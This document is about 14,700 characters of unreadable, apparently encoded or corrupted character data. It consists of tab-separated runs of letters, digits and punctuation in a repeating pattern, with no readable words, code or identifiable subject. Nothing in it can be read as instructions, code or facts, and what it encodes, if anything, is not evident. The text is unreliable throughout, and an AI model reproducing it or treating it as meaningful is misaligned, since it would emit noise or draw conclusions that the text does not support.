4:OVSjQ0W2_4[ci 906X8UPW<RUl]OQRQg	+Ze_|W[	i5V6SF?rF_O[dP ayXUPWRUl]_Q<1R8QB	ZT_hW[	hOVSHWU_r[RA l6XUTW8RUN]aQcRQE	fZRlbPWL	@3V3SWfDm_3[P7 tXUvWRUj]@QdRQF	ZeAJWU	B._VSmJ32_l[`P azXUPW8RUR]OQ0RQZ	gZd5fBW`	i3VS1S12_w[LR 53XUTW:RUB]_Q<1RfQZ	fZQj#nW[	h:sV3S3k7D_O[UP ay1XUPW.R U6]KQ<RdQw	cZZB<Wg	n&}V3SG/BV_[X4 6yXgUbWRUh]}Q R.QN	ZbB34Wa	:iV3SU;B13_0[Rl zXULW&R2UB]_Q<RQx	9Zek@W`	k>OV6SHp30_3[cB 5nX?UvWRUN]aQb1RfQR	gZeQ3JWP	BMVSm v 2_P[[@ 5NXUTW=RUh]}Q$RQV	)ZY40|WL	]:OV6SFj0"_5[[@ %D1XU~W RUk]~Q/ RgQR	ZZOTWQ	S}VS1?W z_5[[@ 5NXU3W&RUh]aQ$0R QJ	!ZMR35Wg	hcsV3SUj1z_l[X5 %l1X>UDW&R2UC]KQ<RdQw	cZZO?6WS	hOV3SG{ 2_v[`P %L7X.UjW:R Uh]KQRQx	9Zek@W`	A:]VSV511_@[[@ 5O6X-UrW`R7U4]9QdRQF	ZeO?hWg	iOV6SD4 3_\[P4 yXUbW:RUh]CQ<RQI	$ZSAjW`	MNVSm/O1z_l[LB 9RXUvWRUl]KQ0RQg	bZbl?JW`	A2kVSF?J z_}[U5 `lXU3WRU5]bQ 1RdQo	$Zbjg|WM	PoOV6SHq319_o[SB AXUnWR2UB]KQb6R>QJ	:ZVR3nWW	MVSH;412_1[dQ 5LXUTWR	Uk]zQ  RfQZ	ZZ@3HWL	BEVSj;Q 2=_r[`P %R7XfUHW`RUl][Qb RfQh	ZZ@3HWL	BsVSj;Q 2=_r[`P %R7XfUHW`RU4]yQb RdQt	:ZbO?KWO	F"3VSn'V 22_}[dR 53XUHW.RU7]eQdRQ5	&ZN6;GWW	]>OV6SHp32=_v[`_ OX>UDWR	Uh]OQd1RgQR	$ZNR?TWQ	R:sV6SDr7Ee_r[J4 6y1X>U@W R7UB]KQRQB	)ZY40|Wg	hsVSn'O7Ee_r[J4 6z1XUDW`R7U6]GQ<RQt	 ZQj#JWa	:iV3SU;OW=_1[U4 DXUTW-RUC]fQ.0RQh	 ZMP#JWa	:iV3SU;v2_l[Rl =DXU~W`R7U4]8QRQI	$ZSABW`	43VSUV11>_5[[B 9NXgUvWRUA]uQg R.QN	gZT5#5WM	SMVSEWU_r[RA =AXUnWfR2UA]<QRQZ	 ZT_|W[	oNVSF?J z_}[U5 `lXU3WRUk]8QRdQI	$ZSAGW`	@NVSH56k!_i[SB :z6XU3WR	Um]\QbRQp	+ZQlTWT	M kVSjV1z_0[dP %nXUTW-RUR]\Qc1RdQt	gZb@34Wa	4 oVSjHE_v[WP %26XeU@W`R	Uk]DQg3RfQh	eZdB;jWL	P&iVSDjT_3[Ri 36XULWRUN]CQ7RQV	'ZRBblWg	nnVSG/iV_q[e@ {6XU~WRUN]}Q9RQ5	&ZRA3FWO	@>VVSWb57E!_O[U_ R6X.UjW8R	Ul][Q$RQd	ZWR rWO	C3VSU;L0T_1[W_ OXUjW.RUh]aQ$ RfQZ	ZZB?HW[	6&VVSGb5E`_\[cA 5nX?UvW8RUR]OQ7RQt	ZT_TWO	F"uVSn;r0X1_@[[@ azXU3W-R7UA]DQg3RdQ5	%ZVjf6W`	7~V3SV?J z_}[U5 `lXU3WRUA]CQaRQR	&ZeAJWU	@gMVSl?VU_G[S@ 5L6XfU3W&RUh]aQ$0RQc	$ZK6WU	BcJVS2vF_p[O6 =AXUnWRUQ]8Q"1R.QN	
Zd74W[	o}VS2vV>_r[SO 9O1X>UDW&R	Ul]fQ/RQA	$ZK65W[	k:uV4SXk 1_@[WP @XUnWRUQ]8Qc3RfQh	eZUR36W`	7c}VS1?2 z_l[LO OX>UDW<RUl]OQRQF	 ZOPhW[	h}VSmW33_s[T_ 9nX>UTW&R2UN]}QgRQg	bZSj3HWO	B}VS3?V0T_0[Wi nX9UjW`R7U4]4Qg7RQV	ZeA}WM	PHVSDD7H_q[SB dj1X?UHWRUB]aQaRQ5	ZN6;GWW	]>VVSWbt32_l[UP ay1XUPW.R U7]eQ 1RfQR	eZQj#jWP	PiVSl412_1[dQ 5LXUvWRUA]8QcRQ5	%ZR@_W`	5iVSDD0U_1[e5 `D6X8U@W`RU7]CQ1RfQZ	ZZOTW`	7}V3SXW1mm_r[RA A6X:UnW8RUA]4Q RQ5	%ZOP34WW	6:}VSH?40`_@[[O n6XULW&RUh]CQ=RQB	ZM4?6W`	h]VSV5E_p[S@ R6XgUbW8RUR]LQ%RQZ	$Zd45Wa	A NVSE;B6k_Q[cO 90X?UTW`RU5]CQ<RQE	$ZSAGW`	k>NVSG7E_p[dA LXULW.R7UB]aQ3RdQZ	eZTP_WO	@}VS3?V0T_0[Wi nX9UjWRU@]eQRQB	:ZTjpW[	nchV3S0;[D_}[UA {X8UjW`RUR]OQ=RQB	
Zbj#BWg	n&}V3SG/BW_0[e4 yXfU~W R7U6]GQ7RQt	ZV_hW[	ngNVSG7E_p[dA l6XUTW8RUN]aQ1R.QE	fZd5#BWg	iMVSn?J30`_@[ci O1XU\W RUk]GQ1RgQd	&ZVPIW[	6&VVSGb5E_v[eB :y1XUPWR	Uj]_Q7RQt	ZV_hW[	nghVSVK1l_s[cj azXU?WR2UN]OQ'3ReQA	cZdRIWg	MOV3SWWU_r[RA A6X:UnWR2UA]~Q-1RgQR	 ZM@#JWP	Bc}VSm/B30_3[S7 tXUHW8RUN]eQ$RfQZ	 ZMBIWg	MOV3SWWU_r[RA A6X:UnWR2UA]yQ RfQY	fZTP#JWP	Bc}VSm/B30_3[S7 tXUPW<RUl]OQRQF	&ZeABWQ	S5V6SFrV_@[dP %3X8U\W&R7US]_Q"1RfQZ	 ZQj#BWg	n2AVSjWE`_Q[O6 =AXUnWRUQ]8QcRQh	:ZSihWM	@uV3SE;rU!_C[T_ 9OXeUPW.R	Uk]GQ3RQ1	$ZS_TW`	4AV SWvE-_o[dk F6X:UnWRUQ]zQbRQF	ZeAGW`	k>uV3SH'k z_3[cB 9RXULWfRUj]CQ$1R.QF	9ZUlJW`	o2]VSV5E_p[dB :z1XUPWR	Uj]_QRQB	$Zd@#jWM	]NVSF?B6k_Q[cO {XgUbWRUk]8QRQt	9Zek@W`	k>VVSWb532=_3[TR 50XgUTW&RUk]DQ 1RgQd	ZbihW`	@uVSn'I W"_r[X5 Y7XULWR Um]KQRQI	$ZSAGW`	k>VVSj7E_p[dA A6XUTW RUj]GQ 1R.QJ	ZU_?IWW	4 }VSmO3Ed_1[RR 9NXgUvWRUA]8QcRQF	 ZQi5WM	P&@VSn'k z_3[cB 9RXULW.R7UB]aQ3RdQZ	eZTR?HW[	6&VVSGb5E_r[dk F6X:UnWRUj]CQ$ RdQt	eZb@IW[	6&VVSGb5G=_l[Ri nXU@W&RUh]aQ$0R QN	:ZM@#JWP	BcsVSj;Q 2=_r[`P %R6X8UPW<RUl]OQRQF	 ZOQ;GWW	]>VVSmnS7Ed_F[Wi O1XU~W:R7U^]CQRQI	$ZSABWO	M&VVSDV1j_l[`P %RXdU7WfR	Uk]GQ= RfQ8	$ZSA;GWT	R.OVS3'r6m=_q[SB 9RXUjW RU7]eQ R.QI	cZR@3HWO	@3VS1S12_l[`R =27XeUPW8R U4]CQaRQR	&Zbl;BWW	5g5VSlr2=_O[cB =n1X:UTW&R7U6]_Q<3RgQR	 ZY5#lWM	Q}VSlV0W=_\[U_ 906X?UTW:R7U7]CQ<3RdQZ	
ZSj#5Wa	43VS2B 2_0[dP %tXU?W RUh]aQ3RgQR	 ZY5#BWg	i _V3SFjE`_s[Oj RXU@WRU6]KQ0RQh	 ZY74WQ	R.uVSH2U_W[dO 9n7XU3WR2UA]uQ' RfQh	$ZVR3_WO	S }VS3'rV_@[cl {1X:UDWR1UA]yQ RQx	9ZZArW[	ncnV5SmN j_r[bR )V6XU@W`RUR]OQRQk	gZRO?rWM	P.^VSn?nG_1[S4 6{1X:UDWR1UA]yQ RQw	fZU6?}WO	]>JV3SU;KV9_W[S@ "zX>UDW RUk]yQ<RQB	ZTP#jWL	RcOV6SHW 3_0[eO 3XU?W`R7U4]9QdRQF	Ze@JWU	Bc5VSn'E32_l[`P `06XgUTW`R7UQ]4Q"3RfQZ	 ZTR|Wc	OV3SED0`_s[[B )3XUTW<RUk]8QaRQR	&ZbijWL	]OV3S2o4W_r[e4 37XUPWR1U|]OQRQF	&ZUj_WO	F"kVSn213_r[OR 9RXU~W&RUh]jQ.3RdQZ	?ZR@hW`	@ouVSnk32_r[L@ %LXUTW;RUl]aQ1R>QJ	ZRO_WT	S oVSEj1l_\[LO lXU~W.RU7]eQb RdQZ	%ZVR?JWS	k&VVSGb5 X_s[NP 52XgUjW.R	UN]eQbRdQ5	ZZA|W[	k2MV3SG2X_\[Wl 5l7XUPWR7U^]CQ=7RQA	fZTA?lWg	B>^VSn?I7D_3[bA p5XgUDWR1UB]aQ?RQQ	+ZcO0}WO	C ~V5SzHE_p[UP YXUrW8R	Uh]OQd1RgQR	$ZNR?TWQ	P.uVSn0x30_i[SB dj6XfUTW-R	Um]aQ$RQZ	fZViWU	M _V6SD4 2=_P[T_ 9tXU~WR
Uh]eQ8RQJ	gZR40}Wg	kRV5SG#vG"_0[XR VXUDW`RUR]OQRQ5	Zek@W`	k>1VSGo43_Q[d_ h1XUjWRUm]_Q<RQJ	:Zd7;5W[	k2kV4ST;L7H1_V[PR dtXdUHWRUS][Q1R9Q8	$ZSAGW`	okV STsW_r[e4 37XUPWRUC]aQ3RdQZ	gZMj#BWX	PJVSUDT_0[d_ h1X9U~WRUN]CQ=7RQA	fZTA?lWg	B>^VSn?I7D_0[W@ tXdUHWRUN]}QRQJ	ZVBrWW	iJV5Sk;hV_O[bO 6{XUPW-R1U|]OQRQF	&ZMj_WO	F"kVSn213_r[OR 9RXU~W&RUh]jQ.3RdQZ	?ZRA|WM	]MVS0;413_P[[O RXUHWRUA]GQR9Q5	:ZTj?6WQ	P.^VSn?nG_1[P6  tXU\W=R0UC]aQRQ5	ZZBJW`	h]VSV5E-_[S@ 5NXUTW RUh]eQd0RQZ	&ZU_0}Wg	h.}VSG#r13_Q[Sj %lXUTWR	Ul]aQdRQB	)ZY4?rWM	P.^VSn?nG_1[S4 6{1X:UDWR1UA]yQ RQw	fZQR }Wg	C3VSTW1mm_r[RA A6X>UTW8RUR]LQ%RQZ	$Zd45Wa	A NVSE;Cn_s[SO hX9UjW8R	Ul]KQ 3RfQZ	ZZOIWg	o}VSF?VU_Q[Pj %DXU@W.R	Uh]aQ R>QN	eZe_hW`	@OV3SHQ30`_@[WR 9L6X9UHWRUP]KQcRQx	&ZR@3HWL	@sVSn?20U_p[T_ 6{XU@W&RUj]CQg6R9Qh	 Zb@IWW	6:MVSkj1n_0[P6 9v6XUPWR
Ul]aQRQ5	Zek@WO	@>VVSWbR V_s[NP 52XgUjW.R	UN]eQbRdQ5	ZZA}Wg	PkV4SG#r12_3[WR 2zXUTW-R0U@]CQ;RQA	fZaA?lWg	@.HVSD;iE`_F[dk F6X:UnWRUN]KQRdQw	cZR@fBWg	M2sVSmbS7D_Q[[Q {6XU@WR1Ul]eQ<1R8QB	fZeA}WM	PHV4SF5G`_w[[5 YXUTW`RUP]GQbRQZ	fZd5#jW`	Q:kV3SF4X_r[UP ay1XUPW.R U6]HQe3R.QI	fZePgWU	C OVSjS l_O[Pi OXeUPWR7UA]yQ  R8QB	)ZVP6WX	V"hV6SGO1_0[dP 527XdUTW<R7UQ]4Q<RQQ	gZZB?JW`	h]VSV5E-_}[e5 YXUrW8R	Uh]OQd1RgQR	$ZNR?TWQ	P.sV6SG#rX_}[Wj %nXUTW-R	Um]aQ$RQZ	eZd@#6WP	B}VSn132_0[U7 2zXU~W`R7U4]8Q1R9Q8	$ZSAGW`	iAV3S2o43_Q[d_ h1XUjWRUm]_Q<RQh	
ZT4jWL	S }VS1?20U_\[Wi 27XfUHW`R	Uh]OQ" RfQh	 ZaR3jWa	C OVSGbkU_W[dA N7X UDW8RUR]LQ%RQZ	$Zd45Wa	A NVSE;4 2_V[Wl :{X U@W.R7U@]GQ3RgQQ	fZQj#jWL	B~VSk;rW_3[e@ %0XUTW R2U@]GQ= R.QN	ZQ7;BWg	B@VSm#V12_l[`_ 906X8UPW-R1U|]OQRQF	&ZUi'JW`	:iV3SV412_1[dQ 5LXUTW&R2UB][Qb0RQR	 ZbB|WU	B3V3S1j30_\[Rj %37XeU@W`RUk]GQ'0RQh	gZY5#lWM	RcOVSHWE`_F[dk F6X:UnWRUA]<QRdQw	cZR@fBWg	M2sVSmbS7D_\[W_ yXfUHW RUk]uQ3RdQZ	gZd74Wg	@g3V3S1j30_\[Rj %37XeU@W`RUj]eQ1R.QN	ZY5fBW`	@uVSn?2 z_1[U_ 906X8UPW-R1U|]OQRQF	&ZUi'6W`	:iV3SV412_1[dQ 5LXUTW.R7UA]GQ<6R?QZ	eZM@#BWg	@uVSlV0X_r[X4 07XfUHW&RUk]DQ 0R QJ	!ZZB?TWQ	]2uV6SE;W1z_\[cO pXUTWR	Ul]aQf0RQh	 ZT_?6W`	i ~V5SzHE_p[Tj R6X.UjW:R7UP]CQb1RfQR	gZeQ3JWP	BOV6SHj6m=_3[P4 DX8U\WR	Uk]GQ R>QJ	ZQjf6Wa	7uVSmv0T_w[[B 9RXU?W R2UC]aQ0R QE	fZUl;jWM	QuVSn'E3z_Q[Ri 906X8UPW-R1U|]OQRQF	&ZUjJW`	:iV3SV412_1[dQ 5LXUTWR2UA]GQ R.QN	gZNR|WW	i OV6SG v7H1_V[[@ %DXUvW&R7UN]CQ7RQI	+ZbB3jWM	]2_VSj;k6m2_}[WR =R7XeUPWRUm]GQaRQR	&ZeBNW`	5iVSDD0U_1[e5 `D6X8U@W`RU7]CQ 1R.QN	
ZQ73jWa	A@VS3'W3_P[[O nXU~WR	Uh]}Qg3RgQd	ZZOhWM	PgMV4SD;Q0U_0[P4 z6XU\W&RUh]CQRQ5	Zek@W`	k>AVSnD0"_5[S@ `D1XUbW RUk]8Q7RQN	:ZQl3hWM	]:uV4SD;Q0U_0[P5 %36XUHW&RUh]}QRgQR	ZZOTWU	A}VS3'W3_P[W_ uXUnWRUQ]8Qd RQV	%ZOP34WW	6:}VSH?40`_@[[B 5l7XUTWRUk]DQg3RfQh	eZMR;hW`	COV5SD<v6m2_}[cO 90X9UTW&RUj]eQ3RgQR	)ZU_0|WO	]:_V4SD;r2_l[Rl =DXUPWRUl][QRQZ	 ZT5#JWa	4 ~V3SXD1z_l[Rl 2zXU3WR U6][Q7RQd	&ZY6;GWW	]>VVSGOV>_r[J5 n7XUbW.R7UN]LQfRQB	ZbiBWg	k:sV3SFr j_w[LR 531X>UDWfR2UB]aQ'1RgQd	)ZY4?hWU	C }VST;1W2_4[Rl 9LX:UvWRUA]8QRQI	$ZSA;GWW	Rc}VSn;BX_r[e7 537XU?W&R
Ul]aQRQt	?ZO_?6Wa	2]VSV56m=_q[T_ D1X?U7W&RUm]KQ7RQt	ZU_IWc	6:}V3SD4 2=_P[WR 9LX.UbWRUP]KQcRQg	$ZU_?IWW	4}VS2#413_4[dR 5lXUTW-R7U^]CQRQV	%ZZO5WQ	R.MVSn'1331_@[ci n1XULWR7UN]OQd RgQR	$ZT5#JW`	i oVSjHE_p[ci n1XULWR7UN]OQd RgQR	$ZT5#lWM	PgMVS247E!_Q[T_ O5XgUjW.R7UB][Qb RfQh	ZN6;GWW	]>CV6SGk1z_l[O5 RXULWfR U7]@Q.0RQZ	gZaPfjWO	R.@VS38v10:_r[[O 9MXdUTWRUR]OQRQF	Ze@#5WM	]2OV6SH;r0W=_G[TP `D1XUbW RUk]8Q7RQN	
ZVR;hWW	h.3VSTs7D_3[cO h5XfU~W.R7UP]CQ$ RfQR	!ZV_5WM	R:OV6SGqV_[WR 9NXgUvWRUA]uQ0RQh	ZbOhW`	BcuVSkj0W=_3[LO lXUjW`R7U6]GQ<1RfQZ	fZQj#jWL	Q3V3S2c2U_W[dB 5l7XUvW&R2UA]uQ'1RdQt	:ZMB?hWa	M2}V3SH0F_O[LO DXUHW&RUh]@QbRgQV	ZQR3hW[	k:}VSlD6m2_4[Pl =DXUTWR0U^]aQRQZ	eZVl35Wc	4 uVS220U_\[WR 2zXUTW.R	Uh]OQd0RQg	+ZbB;hW[	k2NVSmjX_}[dP "z6XUvWRU5]LQ/ R.QN	
ZbO}WM	R}VSkW7H1_F[[B 537XU?W&RUh]@QbRgQV	ZQiIWW	sVSn?q0W2_}[cO 90X9UTWR7UN]OQ=RQh	ZZ@3HWL	Bc}VSn;BX_r[e7 537XU?W&R
Ul]aQRQt	?ZY40|WL	R.MVSlW 3_P[[@ 5NXULWRUk]9QdRQF	Ze@#5WM	]2OV6SG#V z_\[cO 2XUPW<RUl]OQRQF	ZeO?hWg	PkV STD0U_1[e5 `D6X8U@WRUR]LQ%RQB	ZT@#BWg	AuVSmj1l_s[Tj 5NXUTW`RUP]CQ;RQB	)ZVPFWO	@>VV6SG#V13_@[cj `NXULW<R7U7]eQbReQl	?ZN4?hWa	R&NV3S2bD0_r[RA A6XULWRUN]@Qc6R8Ql	?ZK4?6WL	Bc5VS1I7G_r[R_ 27XdUTW`R	UN]eQb1RdQZ	:ZVjKWS	i5V SWs7H1_p[O6 =AXUnWRUk]4Q7RQ1	 ZMR3TWW	5&OVSnO10e_r[e_ lXUTWR7U4]XQ%7RQd	&ZN6;GWW	]>VV6SG/1V_@[cj `NXUjWRUA]8QRdQI	$ZSAGW`	k>uV3SD;2F_\[WP 5N7X UbW`R	Uk]9QcRdQx	&ZN4?hW`	h&NV3S2bD0_r[RA A6X:UnWRUk]4Q7RQ1	 ZY4HWL	A>MVSDj1n_\[WR 535XeU\W;R7U7]eQ R9QJ	9ZQlJWL	BoVSkVU"_5[[O 2XUPWR7UA]yQ 3RQd	
ZVRlW[	4@VSjj1_0[X4 NXUTWRUA]CQaRQR	&ZeABWO	M&VVSGb50`_Q[cB 5O1X9U~WfR2UA]<QRQB	
ZeP_WO	A:kV SXWU!_o[dk F6X:UnWR2UA]yQ 1RgQV	ZbiHWO	CAV SWt6k-_F[NR HX UbW`R	Uk]8Q&RQd	&ZRA3FWO	@>VVSWb5E_s[T_ 9MX9UHWfRUB]\QcRQw	cZZO4WU	C OV3SG#V3H1_\[WR jXdULWRUl]_Q<RQp	ZVl;HWL	B~V3SV?W 3_w[Wj 90XUPWR
Uk]CQ R?Q4	cZZ@3TWM	R5VSDjE-_o[dk F6X:UnWRUl]OQaRQR	&ZeBGWO	@>VVSW/BF_[NO yX9UHW:R7U^]CQRQI	$ZSABWO	M&VVSDV1j_l[`P %RXdULWfR U7]CQ$ RfQR	'Zek5W[	h}VSmW33_@[[B :yXfU~W`R7U4]zQdRQF	Ze@#5WM	]2OV6SH;r0W=_G[TP `D1XUbW RUk]8Q7RQN	
ZVR;hWW	h.3VSTs7D_O[Wi 3XULW.R7UA]GQ1RgQd	ZbQ?JWa	4 NVSG7E_p[ci 3XU\WR0UB]aQ"6R?QZ	?ZO_WU	M2uVSm/2F_\[P6  tX?U3W=R1Uk]GQ3RQd	ZcR rWg	hJVSGin_0[Ul &tXUTW`RUR]OQ'7RQc	gZZB?HW[	6&VVSGbt1z_0[UP 5lX U\W RUl]aQ1RdQt	gZbOWP	S3V3S1?42_F[[@ %HXULWR Uk][Q RQx	?ZMRTWa	23VSn4 2=_G[LR 9RXUjWRUA]CQ"0RQo	+ZdPfBWg	h.1VSl?E32_l[Rl 2zXU~WR0UC]GQ<RQJ	eZWBbrWg	hJV3SDh3_\[UA  zXUDWR1Uh]OQ/RQJ	gZeR<rWL	CnV6SDyn_i[Tj D1XUnWfR7UC]aQRQh	ZSlPWa	]2RVSl4T_r[Tj h6XUHWRUk]<Q0RQ1	gZU@lW`	CRVSl3 X_r[Oj %tX?U~WRUQ]<QdR9QJ	
ZSl/}WO	RRVSE;un_S[Uk 9v7XUDWR0U^]jQeRQR	
ZcB3}WO	S nV6SF7V_4[L7 N5XfULW;R0UR]KQ/RQx	!ZSArWc	5.hV3SG#oG-_S[e7 V1XUnWR	Uh]eQRQx	ZcQ3NWU	CHVSnJ X_\[U7 )p1XUvW&RUP]\Q-RQR	eZQj}W`	AJV5SmnUd_0[[j 9v5XgUDWR0U^]bQfR8QR	:Za73_W`	nVSn;JWa_4[L5 ayXUHWRUB][QRQR	!ZeB}Wa	C:JVSHoG`_w[Ll D6XUnWRUP]CQ=R9Q5	eZbQ35WW	nuVSHP 2`_1[OO tXUnWRUC]\Q/RQR	
ZU@?}WT	Q1VSn'n X_v[[l d3XUHWbR
Uk]yQR8QR	
ZS@vWa	QEV5SE;NGa_0[T4 zX8UDWRUN]eQ"RQR	 ZZlrWa	ChVSH;7V_4[Oj DXU\WRUP]CQRQh	ZU6?hWW	nchV5SH7 3_l[Vl =t5XgUvWR Uh]aQR:QQ	+ZVllWT	RuVSD;U2-_v[PQ  t7XUHWR1UA]~Qf0R QA	fZeQ?5WU	C:EV5SH'sV_0[`@ 93XUHWR1Ul][Q>RQB	$ZaBvW[	isVSFXG_i[UP 9t1X9UHWR7UN]OQRQh	ZUBhWM	]hV3SF7 T_l[`l 2t7XU@W&RUN]eQR9QJ	ZTQ?}WT	RHV5Sl?nn_4[eA Y7XUrWRUN]OQ7R:QF	fZeP$rWL	] ^VS1BW_@[Tj ay1X:U@WR Uk]GQ#R?Qt	ZYk3pWa	MoVSk;m3z_4[PP vXU\WR1Uh]}Q:RQx	eZWRHWW	6uVSHB6j_l[Ul {1XUvWR2UC][QRQZ	fZY5rWg	hHVSHUE%_Q[T6 {5XfU\WR0U^]KQ RQJ	eZeB3rW[	h:hV SVPj_1[VB 31XUDWR0UA]GQ/R?Qt	)ZNB0rWa	BOV4SH;7E-_l[Tj H7XULWR1Ul]aQRQZ	gZaO_WU	MJVSG#NG`_1[Uk 5t1XUvWRUh]bQ-RQ5	ZUP#}WT	R^V6SF?Un_r[[R )p7XUvW;R1U@]_Q6R:QB	eZYQPWg	BcEVSF01G-_S[VB )3XULWfRU@][Q8R?Qp	+ZNRlWc	5oAV4SXsG=_3[`B N6X.UTWR0U@]CQ<RQx	ZaA3pWO	R2sV6SFt33_1[UB {7XULWR
Uk]uQ$RQZ	ZU@PWM	RnV6SH'hk-_\[SR )V7XUnWRU^]aQR9Qx	gZdj$rWc	7cEVSG/OG_3[X7 )v6XULWfR1UA]GQRQR	ZUBlW[	nc5VSF?7G`_S[cP pXUnW&R1UA]4Q3RQR	$ZU7b_Wg	R uV3SE;iH_\[Oi !{7XUvWR	Uj]eQ?RQZ	fZa@?}WO	SnV5SG/UF9_r[Sj 9p7XU@W&R0UA]yQ/RQR	!ZblPWc	72EVSWo1G_S[`B jXfULW=RUA]uQRQR	$ZSi'}Wa	PgHV5SF?LG`_p[Tl VX9UvWR
Uh]OQ:RQQ	+ZU63pWg	@.nVSnh2-_@[Tl dpXUvWRUA][QRQR	fZYk?}WO	SoVSEnUE-_r[cP t7X U@W.R
Uk]<Q1R.QB	!Zej$rWa	PgnV3SE<{H_V[X6 DX8UDWR	UN]aQRQJ	$ZTR<rWg	C}VSl?T V_w[WR j5XdU7WR0UR][Q<RQR	 ZYk3jWW	n.HVSnPm`_r[bP j1XUrWRUB][QR9Qh	ZN@pWO	CoVSmn 0-_Q[T6 9{7XU3WR0U^]LQfRQJ	ZWAPWa	A nVSmnBD_w[`@ ayXUDW=R0UR]KQR9Q5	!Zdj$rWa	SAVSmHW_q[UP jXUDWR0UR]KQRQR	 ZbPHW`	@cHV4SHvT_i[Ti !{XU\WR1Ul]HQeR9Qh	 ZZBlWW	4>EVSn?hH_U[bP Y7XUnW<R0UA]yQRQR	!ZQRlWT	QEVSE<{m_w[[B )pXgU@WR Uj]eQRQh	 Zbl/pWU	CnV5SH;7W_w[`7 VXU@W=RU@]eQRQZ	:ZaBKWU	BHV4SW#v3_3[Ol VX?UrWRU^]OQR9QJ	ZeBvWQ	QsVSVU W-_w[W@ zX:UnWRUN]OQR8QR	$ZWA?pWc	5oEVSlPD_}[Tj DXU7WR0U^]eQ0R QN	ZUOrWX	Pg1V4SV?TUd_@[`l VXUnW;R0U@]eQ7R:QB	!ZaA3pWa	BnVSHUW_w[U7 )VXU7W=R1UN]OQ&RQx	fZbkvWU	B}VS0;PD_w[cj Y7XUDW&R0U^]OQRQR	fZbP$rWL	RnVSllD_O[T7 lXUHWRU7]eQRQF	$Zel<}W[	i&_V4SG#TE%_v[T5 3XULWRUN]}Q<3RfQY	fZU635WV	5nVSk;U1z_w[OP 9VXU\W=R7UN]bQ-RQx	
ZellWa	BhV6SGU2`_1[Xj j7XUnWfR0UA]GQ0R QB	 ZbQlWX	QhV4SH'NG`_0[VA 9DXUDWR1UA]GQ/RQF	!ZYRblW[	i&nVSHuF_}[O@ jXUrWR0UN]aQ8R9Qh	 ZaA|WU	MRVSG#3X_r[R6 9V1XU\WRUB][QRQt	ZMBlWQ	R>sVS3;y 2=_0[cP 9t7XULWR0U^]OQRQB	ZZP$rWO	QnV5Sl?VG`_0[[k 9vXUjWR1Uh]OQ RQZ	ZQk3vW[	nsVSH?uG=_3[e7 N1X?UnW=R0UN]}Q:R?Qx	$ZU6?rW`	CRVSG#v3G`_r[Ol p1X9UnWR
Uk]DQg3RQt	ZY5rWa	CEV3ST;P Ud_\[bP O7X.UTWRUN]OQ/R9Qx	fZVAHWU	B>nVSFUG-_O[T7 N1XUnWRUA]GQ/3RQB	!ZWA3}Wg	ChV5SH?tT_\[TR vXUHW&R0US]4Q:RQp	gZU5HWg	R JV5SHi 2_P[Pi t1X9U@WRUN]eQRQR	eZbk5WU	CJV5Sknh6j_V[`B )M7X UPWbR0UA]yQ<6R>QB	$Zcl<|Wg	k EVSH'JH_r[L7 vXUnWR1Uk]uQ9RQx	$ZbjrWg	B>RVSH3 W_v[eR N7XU3W=R
Uh]aQR9Qh	
ZYjpW[	n hVSk;X7n_0[c_ t1XUrWRUA]yQRQp	gZZA?}Wg	BJVSn'h 1_l[T7 )v7XUDW-RUQ]GQRQR	
Za@pWT	RnV5SH032-_C[Tj 9VXUHWRU^]aQ;RQR	$ZYQ}WS	SMVSH7n_\[T6 9nXU@W;R0UA]yQR9Q5	ZU6?lWc	5HV4SHi3G-_w[[j {5XeUjW=R1Uk]yQ%RQ1	gZeA?lWW	SAVSk;hG_v[T@ hXU3W.R1Uh]LQ-RQx	
ZYl3}WT	REVSG#UW_1[`A 9NXUHWR1Uj][QR?Q1	$ZaB3vWP	@HV5SE;PV_}[Wl h1XUnWR	Uk]GQRQh	eZU6?nWW	7gsVSnvT_q[e6 V5XfUnW&RUN]eQ"R:QR	 ZWA?rW`	SRV3SG#PG-_w[Uj `hX UDW=R0U^]eQRQR	
ZbA?pW[	iEVSk;vn_r[[B )l6XULWRUA]uQR:QR	ZU7}Wa	M^V5SH?oT_4[X5 lX9UHW=R1UN]}Q8RQh	!Za@$|WQ	ShVSnJl_}[e7 :{XdU\W&RUN]jQ/R?Qp	eZeB rWU	BuVSm/Pm-_r[T7 )3X9UrW R1Uh]KQdR9Qx	:ZdllW[	ncnVSk;VH_v[L6 VXU7W=RU^]eQRQJ	$ZZj?pWX	SJVSF?lGa_4[V@ lX9UrWR2UN]OQ<RQ5	ZYkBWQ	]hV6SFH6n_w[cR =n5XdU@W=R1UA]uQRQR	ZcBb}WU	CJV5SFy U%_0[T5 p5XfU3WRU@]eQ7R9QJ	fZYj$}Wc	EVSGfRj_v[T7 )pX9UnWR Uj]CQ:R?Qx	$ZZk?pWP	]2JVSGo U-_r[U@ j1X9ULWR1UA]yQ3RdQt	ZU63IWg	SnV6SFH 2`_r[R7 :t7XUTW=R1Uk]GQRQx	$ZZk}WQ	R>nVSm/u W-_w[Sl hXUHW;R0U^]jQgRQR	
ZTAHW`	@gEVSF?P3H_v[VO !OXUnWR2UC]4Q:0RQR	$ZU70}Wc	4HVSF?n W_1[PR p1XUnWR1UA]GQ<RQB	ZUA0}Wc	7cJV5SG#v 2`_r[`@ 9V1XUnWRUB]HQfR?Qx	ZYQ}Wc	7EV5Sl?UE!_Q[Ul dOXU@W;R0UA]GQ=RQB	!ZdRHW`	C&nV3SH;5V_1[[@ az1X8UHWRUP]CQRQZ	ZUBbrW`	PgOVSD;yH_\[TR p5XdUvWR
Uj]eQ83RQR	ZU7PWc	7nV6SE;hm-_l[Xi !{X?U\W&RU^]OQ"3RQB	!ZSApWQ	S>^V5SG#P W_3[bQ 9{5XfU@WR1UA]GQ0R QB	$ZdQPWa	QnVSn'hH_S[`B d31XUnW=RUQ]uQg3RQl	$Za4rWa	CsVSH;73z_4[Tk 9Y7XULWRUB]OQ3RdQt	 Zc_vWg	BgnVSXnX_r[b@ pXUnWRUB][QR9Q5	'ZQk?pWg	h>^VSn'[ W_v[b@ 9v6XULW=RUQ]GQ1R.QB	gZYj$|WU	CEVSn<1n_r[Tl d3 XeUHWR1Uk]GQR>QJ	 ZZipWa	SnV5SH'sm-_P[e5 9OXULW=RU@]eQ<RQJ	fZUA3pW`	MRVSX00T_r[[j p1XUrWRU@]jQ R?Qp	$ZVk?5Wa	CEVSk;n6l_v[bP nX?U3WR1Uh]eQRQJ	gZdQBWU	@EV5Snl33_\[X6 9LXUHW=RU@]CQ;RQR	Zej?lWT	@ghV5SH'uT_1[Wl V5XfUHWR1Um]fQ-RQR	fZYl3PWc	7>RVSk0 W_w[[B 2t7XU@WRUh]}QRQx	